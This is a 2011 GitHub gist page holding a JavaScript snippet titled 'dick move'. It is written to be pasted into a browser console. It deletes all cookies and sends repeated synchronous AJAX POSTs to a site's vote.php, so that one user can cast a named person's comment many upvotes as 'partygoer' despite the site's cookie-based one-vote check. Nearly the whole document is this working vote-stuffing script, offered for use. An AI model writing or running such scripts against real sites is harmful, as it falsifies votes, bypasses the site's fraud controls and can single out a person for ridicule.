Skip to content

Instantly share code, notes, and snippets.

@erikformella
Created November 12, 2011 15:34
Show Gist options
  • Save erikformella/1360696 to your computer and use it in GitHub Desktop.
Save erikformella/1360696 to your computer and use it in GitHub Desktop.
dick move
/*
USAGE:
copy and paste all of this into the javascript console. you can then call falseVote(ians_comment_id, times) to upvote
ian as partygoer times times. you can also provide your own comment_id by doing an inspect element on the voting div
on anyone's profile.
the ajax requests are synchronous to allow for the coockie bs. this makes the execution seem slow for large times.
i wonder how long it takes to run it for thousands of iterations...
*/
//for voting up ian as partygoer
ians_comment_id = 229844;
//from StackOverflow somewhere... of course...
function deleteAllCookies() {
var cookies = document.cookie.split(";");
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i];
var eqPos = cookie.indexOf("=");
var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
}
function falseVote(comment_id, times)
{
vote_type = 'maybe';
url = 'vote.php';
direction = 'upVote';
deleteAllCookies();
for(i=0; i<times; i++)
{
for(j=0; j<10; j++)
{
deleteAllCookies();
$.ajax({
type: "GET",
async: false,
url: "about.php",
});
}
$.ajax({
type: "POST",
async: false,
data: "action="+direction+"&comment_id="+comment_id+"&vote_type="+vote_type,
url: "./methods/"+url,
});
deleteAllCookies();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment